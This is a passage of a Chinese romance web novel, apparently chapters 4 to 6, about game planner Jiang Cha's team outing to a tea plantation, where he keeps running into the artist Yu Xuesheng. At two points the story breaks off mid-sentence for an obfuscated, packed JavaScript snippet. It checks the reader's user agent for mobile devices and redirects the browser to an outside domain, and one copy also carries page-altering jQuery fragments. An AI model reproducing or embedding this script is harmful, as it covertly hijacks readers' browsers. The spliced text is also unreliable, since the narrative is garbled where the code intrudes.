“不至于,”喻雪生啧了一声,“下个月才搬呢。” “那你这么着急干嘛,交了房租还空半个月,有钱烧的?”该隐说。 “放放味儿,那房子挺长时间没人住了,”喻雪生往轮椅里一靠,“不过看着挺新的,到时候还得找你一起搬个家。” “您真是少爷,还搬家,”该隐在电话里笑了声,“放我那儿的是全套了吧?一张桌子两个纸箱,还有雪球……哦,雪球你得亲自来接。” 雪球是喻雪生的猫,以前在学校旁边租房时养的。休学后猫就被几个朋友接走了,这段时间一直寄养在该隐家里。 “我都快半年没见它了,”喻雪生从桌上挑了个钥匙扣,放手里转着,“它都不一定能认识我。” “它认不认识你不一定,但你肯定不认识它了,天天跟着我爸妈吃香喝辣,上次洗澡一称胖了三斤……” 喻雪生听着电话,看着手里的钥匙扣发呆。 钥匙扣是个毛绒小猫,用棉花填得圆滚滚的,是《恐惧追踪》游戏里的跟宠造型。 这还是那天去开小会时工作人员塞给他的,以前他总觉得这猫跟雪球长得很像,但别说跟宠了,雪球见人不躲就算给面子…… “定了时间再告诉我,这段时间我都在家,”该隐说,“来接猫也说一声。” “嗯。”喻雪生答应着。 “缺钱别不好意思说!”该隐声音大了点,“别的帮不了,但至少能介绍点画画的活儿给你……” “知道了知道了,”喻雪生说,“我找个机会让你拉皮条……” “这是关心你!”该隐喊了一句,“你别哪天饿死了!” 喻雪生笑了笑:“行,您放心,死前一定跟您说一声……” “你这嘴还是别说话了。”该隐打断他,挂了电话。 在包装组的第一个礼拜,生活平静得有点出乎姜察的预料。 组里的四个小孩都很省心,也许是因为都是刚来的校招生,气氛非常和谐,偶尔还会问问姜察用不用帮忙带奶茶咖啡。 “今天不用了,谢谢,”姜察说,“我最近失眠。” “哦,那是得注意一下咖啡因摄入,”坐他左边的小姑娘说,“那我们自己点了哦。” 姜察“嗯”了一声,转回去看电脑屏幕上的表格。 “哎看看春日限定活动……”另一个小姑娘拿过手机,俩人凑一块儿研究外卖去了。 午休快结束的时候,这张表终于配完。姜察伸了个懒腰,扫了一眼电脑右下角的时间。 打盹儿是没指望了,但足够他去洗手间洗把脸。 去洗手间的路经过会议室,那边摆着一片密密麻麻的午休折叠床,凑近点儿立刻能享受到环绕立体声版的呼噜声。 姜察屏息凝神地侧着身蹭过去,感觉像在穿越什么丧尸基地…… 从洗手间出来,他正准备再原路穿越回去时,肩上突然被人拍了一下。 “哎。”姜察吓得抖了抖。 “不好意思啊,”回过头,主策正一脸抱歉地看着他,“我正要找你呢。” “我?”姜察愣了愣,这人找上门,八成没好事。 进了会议室,主策关上门,略微提高了点声音。 “坐吧,”他拉了把椅子过来,“最近工作怎么样?” 姜察坐下:“还行。” “你适应力挺强的,”主策笑了笑,“所以我当初才放心把包装组交给你……” “哥,说正事儿就行。”姜察看着他,道。 他跟主策还算熟,知道这人脾气好,人也不错。但可能是当官当的,明明就比姜察大个七八岁,说起话来习惯先老气横秋地寒暄一通。 “那说正事,”主策也没怎么介意被打断,“还记得之前的座谈会吗?” “嗯。”姜察说。 “那你应该发现,这次比起普通玩家,我们请的KOL比较多。” 姜察想起了喻雪生。 KOL,这个词还是他从秋总那里学来的,学名叫关键意见领袖,通俗说就是某个领域里比较权威、影响比较大的人。 比起普通的玩家或主播,喻雪生这种KOL同时兼具对游戏的深度理解和美术领域的专业性,但也正因为这个,这种人跟普通氪佬不一样,更难打交道、更挑剔。 “《恐惧追踪》运营期不短了,这次涉及到我们未来的战略性调整,”主策顿了顿,“姜察,你是组里的老人,所以我想先跟你讲讲。” 姜察在心里哦了一声。 “长线运营的游戏,在政策和舆论的冲击下很容易面临危机,”主策说,“这几年行情不好,所以我们需要更多有正面影响的内容……” “哪种正面?”姜察问。 “有口碑,传播广,且舆论安全的。”主策说,“你有什么想法?” 姜察愣了愣,这种问题的答案相当单一,而且不久前的周会好像也提过。 姜察:“……传统文化?” “是,怎么入手?”主策问,“从包装方面。” 新上任的姜组长微微皱了皱眉。 “新内容制作周期太长,”他想了想,道,“可以先深挖一下过往内容,比如,往年的时装地图美宣设计……都可以贴公益活动、贴文化输出等等。” “具体操作呢?”主策追问。 姜察思索了一下:“找KOL做过往内容的考据分析,游戏内同时推出新系列,保持长线热度。这样能增加付费点,也能上上价值。” “想得比较浅,”主策笑了笑,“但差不多,很多项目也都在这样做。” “行业寒冬的免死金牌,”姜察看着他的表情,松了口气,“现在不管什么题材的游戏都会往这上面贴。” “不只是因为行业寒冬,玩家也喜欢看这个,”主策说,“而且,我们做游戏也是在创造价值的。” 姜察沉默了一下,点点头。 “行,”主策起身,拉开会议室的门,“那后面再聊吧,到时候可能让你对接。” “我对接什么?”姜察愣了愣。 “你是包装组组长,提供资料和全程监修,”主策说,“营销那边会去联系几个这方面的大V,不过不用急,让他们提供方案细稿……” 后续事项什么时候能定,姜察不知道,但接下来两个礼拜都没再有人跟他提这件事。 不过姜察也习惯了,在这儿上班,简直每天都在工作的大浪里扑腾,一件事还没拍下去,又一件事被浪花裹着拍过来。 一晃就是四月底。 再过一个礼拜就放五一假,刚熬过一连串的周年庆大加班,整个三楼弥漫着“啊烦死了怎么又调休”和“过节去哪儿浪啊”的混乱气息。 晚休时间,大部分人都去了食堂,只剩下寥寥几个人瘫在工位上。 “青青龙井不配送啦!”姜察左边的小姑娘喊了一句。 “不是吧,我看看……”另一个小姑娘凑了上来。 俩人窝在一块儿看手机,估计是在说奶茶。 姜察拿着半杯没喝完的咖啡抿了一口,费了半天劲才咽下去。 这还是他早上在楼下买的冰美式,现在冰化没了,又酸又苦又温乎乎,难喝得仿佛在挑战人类极限…… “龙井季都快过了吧?”没过一会儿,坐在他对面的两个包装组男生也凑了过来,“上礼拜我还刷到程序他们去茶山了呢。” “茶山哇,真好啊!”有人感叹。 “来来来我有照片……” 四个人又凑在一起看照片,跟麻雀似的叽叽喳喳挤在一团。 过了几分钟,姜察把最后一口咖啡咽下去时,感觉到左边的灯光被人挡了挡。 抬头就看见一个戴眼镜的男生朝他走了过来,是四麻雀之一。 “小姜哥,”他问,“你现在忙吗?” “还行,”姜察看着他,“有事?” 男生烫了头卷毛,语气里是按捺不住的兴奋,他推了推眼镜,问:“咱什么时候去团建啊?” “啊?”姜察愣了下。 团建? “是呀,”一个女生也凑了过来,“我们组还没团建过呢。” “上个组长走之前还说带我们去烧烤……”有人叹了口气。 这话说出来有点可怜巴巴的感觉。不过……不愧校招来的崭新社畜,这四个人都还对“团建”二字有着美好的想象。 姜察想起之前的团建,主策组织的活动,除了轰趴馆就是剧本杀,简直是下班时间变着花样把同事们关在一起。 “想出去玩儿?”姜察问。 “营销他们去茶山了,”眼镜说,“我们也去呗,还能爬山采茶锻炼身体。” “山腰上还有餐厅,”女生补充,“听说味道不错,正好把咱们团建经费清一清……” 有人轻咳了一声。 “店名给我,我约一下这周末试试,”姜察有点想笑,又无奈地掏出手机,“周日都有时间吧?” “有有有!”四麻雀欢快地叫着。 过了一会儿,眼镜又凑上来:“要不加个好友?我们再拉个群?” 姜察默默叹了口气,手指一划,打开了二维码。 …… “扫这儿,三块钱。”该隐靠着冰柜,指着墙上贴着的纸片。 喻雪生拿着根苦咖啡,挑了挑眉。 三块钱扫过去,该隐翻了半天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你俩吃完冰棍过来帮忙搬菜!”喻雪生快睡着的时候,该隐他妈在屋里喊着。 “你找后厨不行吗?”该隐无奈道。 “人都忙着呢!”该隐他妈继续喊,“赶紧的,预订的客人快来了,搬个菜能累着你吗!” 该隐叹了口气,从躺椅上直起身来。 “真他大爷的闲得慌,什么游客啊这天气往山上跑……”该隐一边骂着一边走进屋里去。 喻雪生赶紧叼好嘴里的木棒,躺在躺椅里,假装一副还在认真品味的样子。 …… “坚持一下吧,”姜察无奈地看着身后的人,“年轻人怎么一个个比我体力还差呢。” 正午的游步道上,除了龟速爬行的五人以外就没再有别的游客。 两边的树郁郁葱葱,几乎遮住头顶的太阳,山里不算热,但姜察身后的四麻雀已经累成了四菜鸡。 “真、真不行了……”眼镜说,“小宇,还有多久啊?” 叫小宇的男生看着路边的路牌:“这儿写着还有八百米……” 四麻雀一阵哀嚎。 “快点,有嚎的功夫都吃上饭了,”姜察啧了一声,“谁让你们背这么大包来的。” 早上集合的时候姜察都惊了,这四麻雀每个人都背了个巨大的包,两个男生甚至带上了帐篷。 仔细一问才知道,他们找的全是过夜徒步的攻略。 “过夜徒步也不用带这些啊,”姜察从一个女生手里接过包,背在自己身上,“装点速干衣补给品得了,现在哪还有野山了,山上都有住的地方。” “小姜哥还玩徒步?”女生问。 姜察看了她一眼:“我钓鱼。” “啊,真养生,”眼镜感叹,“不愧是靠谱的……” “养生小饮料!”另一个人接道。 姜察指了指他们:“我看你们一点儿都不累。” 他跟四个人没差几岁,一遍爬山一边聊天,氛围还挺轻松。 姜察没当过领导,也不会摆架子。看着麻雀们叽叽喳喳,有时候还会有点羡慕。 就算自己倒退回刚毕业那会儿,他似乎都没有过这么松弛欢乐的状态,这是他的准则,要有正确的信条,走正确的路…… “这条路上去就是了。”小宇指了指前边。 游步道上有个木质路牌,用瘦金体刻了四个字“隐茶空间”。 这名字起得让人看不出是干嘛的,要不是事先查过,姜察肯定不知道这是个餐厅。 五个人一鼓作气爬上去,终于在最后一口气儿的边缘穿出了游步道。 视野豁然开朗,面前是一片绿油油的茶园。 “真好看呐。”一个女生从背包里掏出相机。 “你还带相机了?”姜察看着她手里一看就不轻的单反,有点震撼。 “丸子可是专业的,”眼镜有点得意地说,“她是我们公司摄影社的呢。” 哦,原来公司还有摄影社。 这片茶园很大,一眼望去几乎没有边际。低矮的茶树像一排排绿色的细绒,被蓝天映衬着,说不出的整齐好看。 姜察看着远处一片白色小楼,正想问那边是不是饭店,四麻雀乌泱一下散开拍照去了。 他有点无奈地叹了口气,只好顺着路慢慢往前走。 不一会儿,眼前出现一个茶园边上划出来的小菜园。 一个穿红衣服的人正蹲在菜园旁边,看着像工作人员或者附近的村民在做农活。 “你好——”姜察隔着几米,开口喊了声。 那个蹲在地上的人动了动。 “请问……”姜察边说边走过去。 “姜组长?”红衣人站了起来。 喻雪生手里提着两棵小葱,有点吃惊地看着面前的人。 5. 第 5 章 啊。 真是大白天见了鬼了。 还是个挺眼熟的鬼。 这么大的城市,这么大的山上还能碰见。要搁在小说里,已经是恋爱或谋杀案开始的前奏了吧。 短短三秒里,姜察脑内闪过了八百句话。 但核心思想都是——怎么又是他? 喻雪生朝他走过来的时候,姜察终于意识到刚刚没看出来背影是谁完全不怪他。眼前的人今日的穿搭风格非常返璞归真,不仅没穿骚包的缎面衬衫,甚至还套着件印着“隐茶空间”的红T恤。 最关键的是,他是站着的,好端端地站在地上。 双腿很完整,直,且长。 ……他不是残疾吗? “姜组长,”喻雪生晃了晃手里的小葱,“很巧啊。” 姜察回过神来:“……是很巧。” 四只麻雀还在茶园里乱飞,在他身后的不远处爆发出一阵阵笑声,喻雪生往那边望了一眼。 “带朋友来玩?”喻雪生问。 “员工团建。”姜察说。 喻雪生点点头,没再说什么。 两人都沉默了几秒,空气里一片尴尬的寂静。 直到姜察快忍不住闭眼向后转时,他身后突然传来一阵脚步声和喧闹。 一阵风卷了过来,小宇扑在了他后背上。 “哎哟,不好意思小姜哥……”小宇吓了一跳,似乎是没收住劲儿才撞上来了。 “没事。”姜察站稳。 他抖了抖衣服,好像能把刚刚的尴尬也抖下去一些似的。 后边三个人也跟了上来,刚才一通拍照加游玩,现在都一脸兴奋。 “帅哥,你是这儿的员工吧?”丸子跟喻雪生打招呼,“我们正好要去餐厅呢。” “那还真巧,”喻雪生点点头,“老板还说呢,今天就订了一桌客人,跟我走吧。” “帅哥人真好。”丸子甜甜地一笑。 几个人跟在喻雪生身后,对丸子挤眉弄眼。姜察想开口解释点什么,却又突然看到喻雪生侧头瞥了他一眼。 他有点郁闷地闭上了嘴。 隐茶空间是个集采茶和游玩一体的园区,有点像个茶叶主题的生态园。 进了正门,几个人几乎同时“哇”了一声。 这地方确实漂亮,门口有一条鹅卵石的小路,上方不知道是什么瓜的藤搭出了一片遮阳的长廊。 穿过长廊,一片很大的院子里种着各色花花草草,左手边有栋三层小楼,远处还搭了很多透明的玻璃小屋,晾着茶的竹编容器搁在小屋旁边的台子上。 院子里还有个小亭子,样式很精巧。放眼看过去,这边没有一般茶园附庸风雅、强行古色古香的感觉,而是一种很轻松自然的气息。 喻雪生带着几个人一路往前,坐到了一处小玻璃房包间里。 餐厅是明档,得去小楼里的正厅点菜,四麻雀很欢快地奔涌而出了,只剩姜察一个人留守玻璃房。 过了几分钟,喻雪生把小葱送到后厨,又拿着个竹编托盘,给他们带过来几套餐具。 屋里只有姜察和他两个人。 姜察犹豫了一下,清了清嗓子。 “喻先生,你在这里……” “我朋友家的茶园,”喻雪生低头摆着餐具,“我来这边玩,就顺便帮帮忙。” “啊,”姜察说,“真是……有缘。” 喻雪生抬头看了他一眼,笑了。 “别这么紧张,姜组长,”喻雪生说,“你是客人。” 不紧张,就是浑身难受。 像放着假突然想起来工作的那种难受。 像小时候作业没做完就出去玩,一边玩一边担心,学也学不进去玩也玩不痛快的难受。 “一会儿有专人来泡茶,”喻雪生摆完餐具,把托盘一夹,“先稍等一下吧,茶艺表演得等人齐了才开始。” 姜察“啊”了一声,点点头。 “有需要按墙上这个铃就行,”喻雪生笑了笑,“姜组长,祝你们用餐愉快。” 他很干脆地出门,顺手把门带上了。 …… 这顿饭什么味儿,姜察真没尝出来。 但按照价格和几乎没剩菜的情况来看……味道应该挺好的。 吃完饭,喝完茶,四麻雀都肚皮滚圆又活蹦乱跳。几个人休息没一会儿,就张罗着要去采茶了。 姜察跟着他们走进刚刚看到的三层小楼,这边一楼有专门的采茶讲解室,这会儿工作人员已经把装备拿了出来。 “这个小竹篓,挂在腰上,”一个看起来很和蔼的阿姨讲着,“那边还有斗笠,怕晒的女孩子们自己取。” “男孩子呢?”眼镜问。 “细皮嫩肉的男孩子也自己取。”阿姨笑了起来。 姜察把竹篓挂好,巴掌大的小竹篓还挺深,装满了估计能有不少茶叶。 他又抬头看着眼镜几个人戴斗笠,这时才发现喻雪生正站在不远处,好像在跟什么人说着话。 他歪了歪头,看到旁边站着一个穿了一身黑、脑后扎了个小辫子的年轻人。 风格很朋克。 朋克少年。 似乎是感觉到视线,朋克少年转过了身,姜察愣了愣,随即差点没憋住笑—— 少年穿着件黑T恤,背影挺有型,正面却也印着“隐茶空间”四个大字。 “中间那个,就是你说的策划?”该隐压低声音,问。 “嗯。”喻雪生点了点头。 该隐站在柜台后边,翻着账本,眼睛却盯着正穿戴装备的几个人,表情有点不快。 “看着倒是个正常人,”他说,“但他们也太磨蹭了,再晚点别说晒,天黑了直接上山喂蚊子……” 喻雪生笑起来:“那你拿点驱蚊液给他们呗。” “收费的!”该隐一戳手里的笔,“而且我真不知道这时候来采什么茶,别说明前茶了,雨前的都采没了!” “那不是挺好,树叶子又不值钱。”喻雪生说。 该隐瞪了他一眼。 “得了,我估计你快下班了,他们能上山待半小时就不错了,”喻雪生说,“天天对着电脑的白领有几个能真干活儿的。” 该隐偏过头,看了他一会儿。 “这话你还真敢说,”该隐指指他,“白雪王子大少爷。” “怎么不敢了,”喻雪生抱着双臂,啧了一声,“我又不是没干过体力活,做大漆那时候……” 远处的姜察似乎在犹豫要不要戴个斗笠,该隐看了他一会儿,觉得有点没趣。 他回过头,突然意识到喻雪生不知道什么时候噤了声,正面无表情地站在一旁。 “喻雪生?”该隐叫了他一下。 “嗯。”喻雪生微微蹙着眉,答应着。 该隐张了张嘴。 他想说点什么,但还没等发出声音,喻雪生就突然转身,往后边的休息室去了。 …… 姜察一边拍打着身上,一边努力在满眼绿油油的叶子里寻找“一芽一叶”或者“一芽两叶”。 说实话,他真不知道那几个人怎么找得这么专注的,只觉得自己要被山上的蚊子吃了。 上山半小时,小筐里的茶叶才装了一半,但他身上的蚊子包仔细数数已经有七八个。 更糟糕的是…… 姜察往天上看了看。 不知道什么时候,刚刚还晴空万里的天已经布满了乌云。 “小姜哥!”不远处的眼镜喊道,“我们什么时候回——” “轰隆——” 话音未落,突然传来一阵滚雷声。 姜察怔了一瞬,赶紧冲几个人打手势。 “快快快快快!”他喊着,“现在!立刻!快回!” 几个人忙不迭地往山下跑,两个女孩子正站在高处的几排茶树旁,也小心翼翼地往下走着。 雨点开始砸下来了,姜察看了看脚下开始和泥打滑的土路,皱了皱眉,两步向高处跑过去。 几个人都跑进餐厅的小楼里时,浑身都湿得不能再湿。 刚才讲解的阿姨给每个人拿了毛巾,大家坐在休息室里,一脸郁闷地擦着头发,姜察连打了好几个喷嚏。 ……见了鬼了,这个月怎么总在淋雨! “天气预报没说会下雨啊。”眼镜也擦着一头卷毛,边叹气边说。 “我们山上气候复杂,”旁边的阿姨抱歉地说,“不是天气预报就能说得准的,今天这算是意外了。” 她顿了顿,又看向姜察:“那边的小哥,你最好换个衣服。” “我带了,穿我的吧。”小组里最沉默的小姑娘在包里掏了半天,竟然掏出来一件速干衣。 刚刚路上太滑,姜察确认所有人都下山后,才跟在最后跑回来,淋雨淋得最彻底。 他攥了一把上身的短袖,甚至还能挤出水来。 “小姜哥换一下吧,我新买的,”小姑娘小声说,“码数肯定够,而且你就是因为等我们才淋成这样的……” “就是,”丸子也点点头,“你看,我们包也没白背,萝卜带的这不就用上了?” 叫萝卜的女孩把衣服塞给姜察,笑着看他。 姜察没再拒绝,有点感动又有点不好意思地接过衣服。 “去员工休息室换吧,”那个阿姨指了个方向,“那屋暖和。” 员工休息室在一楼的最角落里,姜察拿着衣服走进去的时候,没想到里面还有人。 他先是被烟味儿和一股蓝莓香精味儿呛了一下,忍不住后退了半步。再定定神看过去的时候……几乎只看到一片仙境般的烟雾缭绕。 喻雪生坐在烟雾里,靠着扇没打开的窗。 姜察犹豫了一下。 然后伸手敲了敲门。 听到门口的声音,被笼罩在烟雾里的人似乎动了动,伸手把烟掐了。 “抱歉。”姜察听到他说。 声音有点低,和平时不太一样。 员工休息室其实不小,是个很正常的卧室改造的。 喻雪生似乎开了个窗缝,烟雾正逐渐消散,他的五官也渐渐清晰了起来。 他眉目还是一如既往的好看,眼帘低垂着,眉毛微微皱起来,只是跟之前不同……表情里带着浓浓的疲惫。 姜察不抽烟,也挺讨厌二手烟,可犹豫了一下,还是走了过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189135|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 身上还湿着呢。 站这么半天都冻得有点冷了。 而且……现在退出去的话,嫌弃得有些明显。 可能是因为刚刚没通风,休息室里果然比外面暖和不少。姜察犹豫了一下,把手里的速干衣放在旁边的椅子上,开始脱衣服。 喻雪生听到动静回头看了一眼,然后吓了一跳。 “哎!”他喊了声,“你干嘛呢姜组长?” 姜察手上的动作停了停,这才有点尴尬地意识到自己还没说话:“哦,我……我衣服湿了。” “湿了?”喻雪生怔了怔,“你掉河里了?” “啊?”姜察有点懵。 “哦,”喻雪生又看了看他湿漉漉的头发,“下雨了啊。” “嗯,”姜察回过神来,“刚才还打雷了呢。” “这样,”喻雪生按了按额角,“我……没听见,抱歉。” 喻雪生又回头看窗外,看着还沾着雨水的窗户,没再说什么。 姜察看了他一眼,迅速把上衣脱下来。 “今天采到茶了吗?”过了一会儿,喻雪生突然问。 姜察正穿着最后一条袖子:“采到了,还差点就地泡了呢。” “嗯?”喻雪生又怔了一下,随即笑了起来。 姜察叹口气,拉了拉衣服:“也算是倒霉吧,好不容易团建出来玩一趟,没一件好事。” 喻雪生勾勾唇角:“碰见我也算坏事一桩吧?” 姜察不知道说什么。 喻雪生看着他,笑意更浓了,不过过了几秒,又渐渐消散下去。 “这屋太呛了,你赶紧出去吧……”喻雪生摆了摆手,“好好擦擦,别感冒了。” 姜察带上门,走出房间,喻雪生最后那句关怀让他有点意外。 大雨来得快去得也快,用茶庄里的吹风机挨个吹干头发后,天也开始放晴了。 这会儿,姜察他们正围在餐厅的休息室里,工作人员给他们拿了几个烤红薯和烤玉米,说是在土灶里烤的,可以弥补一下采茶不过瘾的遗憾。 朋克少年也过来了一趟,送来了几杯热茶。 来的时候他盯着姜察看了好几眼,但姜察没注意——虽然身上已经不冷了,但他还在打喷嚏。 “小姜哥身体不行啊,”眼镜说,“体力比我们好怎么身体比我们差呢……” “边儿呆着去。”姜察啧了一声。 另外三个人忍不住小声笑了半天。 茶园的茶很不错,配着红薯都有点暴殄天物了。 工作人员介绍,这都是茶园里自产的雨前龙井,一般只用来接待贵客,对外得提前好久才能预订。 “喝不明白,”眼镜听着讲解咬了口红薯,感叹,“我还没到喝茶的年纪。” “小姜哥肯定懂茶,”小宇在旁边说,“毕竟他是……” “再提我微|信名我一定抽你。”姜察指了指他,说。 几个红薯和玉米下肚,今天的晚饭都不用吃了。 上山接送的车还有一个小时才到,估计是玩累了,此时麻雀四人组都团在沙发里看电视。 姜察胃里撑得难受,决定起身活动一下。 走出楼门,院子里亮着几盏小灯,傍晚的茶园很安静,动物都睡了,夏夜的虫鸣也还没起来。 他抬头看了看,一大片深蓝色的夜空上,星星静悄悄地从云里钻了出来。 这边的星星虽然算不上浩瀚,但也是市区里难得一见的星空。星空下,空气里漂浮着土壤和植物的气味,风吹过来,先是一股让人舒服的清香,然后…… 姜察打了个喷嚏。 “阿嚏!” 他拢紧了刚刚从茶园借来的毯子。 不知道站了多久,他正准备往回走,转过身的时候,突然发现有个人正朝他走过来。 喻雪生的步子停在离他一两米的地方。 “姜组长,”他笑了笑,“今晚在这儿住吗?” “不,我们约了车,”姜察摇摇头,指了指下山的路,“一会儿就到了。” 不知道是不是错觉,姜察觉得喻雪生的状态又和几个小时前不一样了。 “这个给你。”正想着的时候,喻雪生把一个马克杯递过来。 姜察怔了下,接过杯子。 杯壁还是微烫的,他低下头,一股辛辣的甜香扑面而来。 “姜茶,”喻雪生说,“你淋雨了,山上冷,不喝点驱寒的容易感冒。” 姜察抬头看了他一眼。 “对了,姜组长,”喻雪生问,“一直叫你姜组长,还没问你的名字。” ……哦豁。 这不是巧了吗? 姜察看着手里的杯子,有点想笑。 他低头喝了口杯子里跟他同名的……养生小饮料,然后抬头看了看喻雪生。 “姜察。”姜察点了点头。 “啊?”喻雪生有点迷茫。 “我姓姜,”姜察指指自己,“姓姜名察,生姜的姜,察言观色的察,明察秋毫的察。” 愣了两秒,喻雪生也笑了起来。 “哈,”他说,“那还真是……太有缘了。” 6. 第 6 章 这杯姜茶应该是现煮的。 微微烫,很驱寒,不过……煮茶的人手艺不怎么样,放了致死量的黑糖和生姜。 姜察低头喝了一口,差点被茶里的辛辣味儿呛个跟头。 “味道还行?”喻雪生看着他。 “很好,”姜察说,“谢谢。” 风大了些,不远处有个木头小亭子,两人沉默了一会儿,一块儿往亭子那边走过去。 进了亭子,姜察悄悄摸了一把椅子,很好,没有积水。 “团建玩得怎么样?”喻雪生问。 能怎么样,又打雷又下雨的。 “这边环境很好,很舒服。”姜察点点头。 “时间够的话,应该再逛逛后山,”喻雪生说,“你们还能去寺庙和鱼塘转转。” “鱼塘?”姜察愣了愣。 “嗯,附近村子的人弄的,鱼都养得很大,”喻雪生比划了一下,“给游客做的钓鱼项目,钓出来可以在附近的农家乐做了吃。” “隐茶空间也可以?”姜察问。 “可以啊,”喻雪生说,“跟老板说一声就行。” 钓鱼、农家乐…… 比起寸头那种酒吧爱好者,姜察更像是热爱休闲活动的老年人,但这几年工作太忙,他一直没机会来茶山这边走走。 这会儿喻雪生如数家珍的念叨着,听得他有点心痒痒。 “喻……先生,”姜察问,“你很熟啊,你是本地人?” “不是,”喻雪生说,“你叫我名字就行。” “哦。”姜察点点头,有点尴尬。 喻雪生没再说话,姜察也不知道说什么,他往后靠了靠,看着亭子上方的一处彩绘。 画的是三潭映月。 夜风有点凉了,空气开始变得潮湿,带着淡淡的雨水味儿。 直到身上又有点发冷的时候,姜察才想起来,低头喝了口杯子里的茶。 “你是北方人吧?”姜察问。 喻雪生转头看过来,表情有点惊讶。 “按名字,也不难猜,”姜察解释着,用手指在桌上写了几笔,“你不是本地的,而且叫雪生,南方又不下雪。” 喻雪生想了想,恍然大悟似的笑了。 “是,我家是个很北边的城市,”喻雪生说,“我出生的时候下了场特别大的雪……” 喻雪生的语气很平静,声音也很轻。 “不过,”他突然顿了顿,“那年大雪一连下了半个月,快成雪灾了……” 他的声音渐渐小下去,姜察看了他一眼,又端着杯子喝了一口。 “还好没改名遇雪灾。”姜察说。 院子里的电压不太稳定,这会儿刮起了风,灯泡一亮一暗的。 喻雪生的情绪突然被姜察的话打断,又被灯闪得有点恍惚。 突然就不知道刚才聊到哪儿了。 像一声叹息憋在了喉咙里。 灯泡突然更亮地闪了一下! “小姜哥!” 身后不远处传来个女声,两人回头看过去,楼门口站着和姜察一起来的几个人。 扎着丸子头的女生正拿着相机,冲他们招手。 “车快到啦——”女生喊着,“司机给我们打电话了,快回来收拾东西——” 喻雪生听到姜察轻轻啧了一声,然后站了起来。 “那我先走了。”姜察说。 “嗯,”喻雪生说,“路上小心。” 姜察拿着喝空的杯子,直接从亭子的座椅上跨了过去,大步流星地走向了他那帮同事们。 喻雪生在身后看着,直到他们几个人一起走进了屋里。 进门的一瞬间,姜察似乎还回过头,朝亭子的方向望了望。 …… “明天就下山?”该隐问。 “嗯。”喻雪生靠着床头,刷着手机。 深夜,布偶猫舒服地伸着懒腰,蹭着旁边专心玩手机的主人,然后紧挨着他躺下来,在床单上打个了滚儿。 “哥!祖宗!”该隐一把把猫捞起来,“您能不能离深色床单远点啊?” 雪球被放到地上,不满地喵了一声。 该隐拉了把椅子坐在床旁边,一把把喻雪生手里的手机抢了过来。 “认真点,我妈让我来的,”该隐说,“她让你多待几天,说山里环境好,适合养病。” “说得跟我绝症晚期了似的。”喻雪生叹口气。 “好好说话!”该隐拧了拧眉。 喻雪生只好坐了起来,顺手抱过正努力往床上跳的猫:“这么关心我干嘛,你去跟阿姨复命,说山上潮,我容易腿疼,好意就心领了……” “你自己跟她说去,”该隐抓过旁边的空调遥控器,“我跟她没话说,我还以为她留下你就是为了打包呢,结果人家是真心关怀。” “吃醋了?”喻雪生笑了笑,“你地位不行啊,幸好你爸妈没再给你生个弟弟妹妹……” “滚。”该隐瞪了他一眼。 屋里的空调呼呼响着,切换成了抽湿模式。也许是刚才编瞎话引发的错觉,这会儿喻雪生真的觉得有点腿疼。 断的是哪条腿来着…… 他下意识伸手摸了摸。 “左边,”该隐看着他,“都忘了哪边了吧?也是,你那腿都恢复半年了。” 喻雪生没说话,笑了笑。 “我还忘问了,”该隐说,“你上次是不是坐轮椅去的《恐惧追踪》?” “怎么?”喻雪生问。 “今天采茶之前,那个策划总看你,”该隐说,“他别再以为你那天是故意装瘸闹事……” 喻雪生怔了下。 好像……还真是。 他不到一个月就实现医学奇迹,从轮椅卡大门口到满山乱蹦蹲地拔葱,看着跟碰瓷似的。姜察竟然憋着一句没问。 他又想起在亭子里乱七八糟的对话,还有那句“遇雪灾”,突然又有点想笑。 “我真没事,”喻雪生往床头上靠了靠,撩起裤管摸着腿上的疤,“伤也好了,手续也办完了,游戏那边发了约稿方向……我是真的要回去干活儿。” 该隐将信将疑:“你真能工作?” “能啊,怎么不能,”喻雪生说,“再说我房租都交了……” 该隐犹豫了一下,点头:“也是。” 提到钱该隐就格外上心,喻雪生有点想笑。 “保证阳光开朗,积极拥抱新生活。”喻雪生一本正经地说。 …… [敬之:文档看完了,很有意思,技能包装和故事背景都ok。] [姜察:我直接发需求?] [敬之:再补几张参考图吧,但要注意风格调性。] [姜察:好。] [敬之:辛苦,对了,节前ddl哈。] [敬之:微笑/] 姜察盯着屏幕,轻轻皱了皱眉。 五一前加班的人不多,不少人提前请假,今晚工位上只有稀稀拉拉的几个人。 他戴上耳机,抬头闷掉杯子里最后一口咖啡,打算今天把这个文档改出来。 “……小姜哥,小姜哥?” 姜察摘了耳机,丸子不知道什么时候站在了他身后。 “叫你半天啦,”丸子说,“我把团建那天的照片洗出来了,要不要过来看?” “这么快?”姜察站起来。 工位左边,麻雀们又挤在了一起,几个人叽叽喳喳地翻着照片,看姜察过来,又挤了个位置给他。 桌上摆着一堆照片,都是去茶山那天拍的。 小宇拿着张风景照:“这张这张,都能拿去投稿了。” 姜察看了看,确实一眼就能分辨出是专业水平。 团建那天他们其实没怎么认真拍照,一路上都是丸子端着相机到处抓拍。 姜察不喜欢面对镜头,期间被四人组硬拖着照了几张,再加上丸子自己拍了一路小猫小狗小花小草,回去的路上内存卡倒是快满了。 不过洗出来的照片应该挑选过,大多数是人像,还有些很漂亮讲究的风景,没什么乱七八糟的东西。 “给小姜哥看看,这张是上山时候抓的,”丸子拿起一张照片,“体现了我们团队良好的精神面貌。” 眼镜挤过去看了一眼:“好什么好啊,我在边上脸都歪了!” “那是镜头畸变!”丸子喊。 几个人的笑闹声有点大,旁边还有几个没下班的同事,一脸哀怨地侧目。 姜察轻咳了一声,几个人的声音小了点,继续翻着最后一叠照片。小宇拿起其中一张,有点惊讶:“这是什么时候照的?” 几个人都凑上前去,姜察看了一眼,也愣了——照片上竟然是他跟喻雪生。 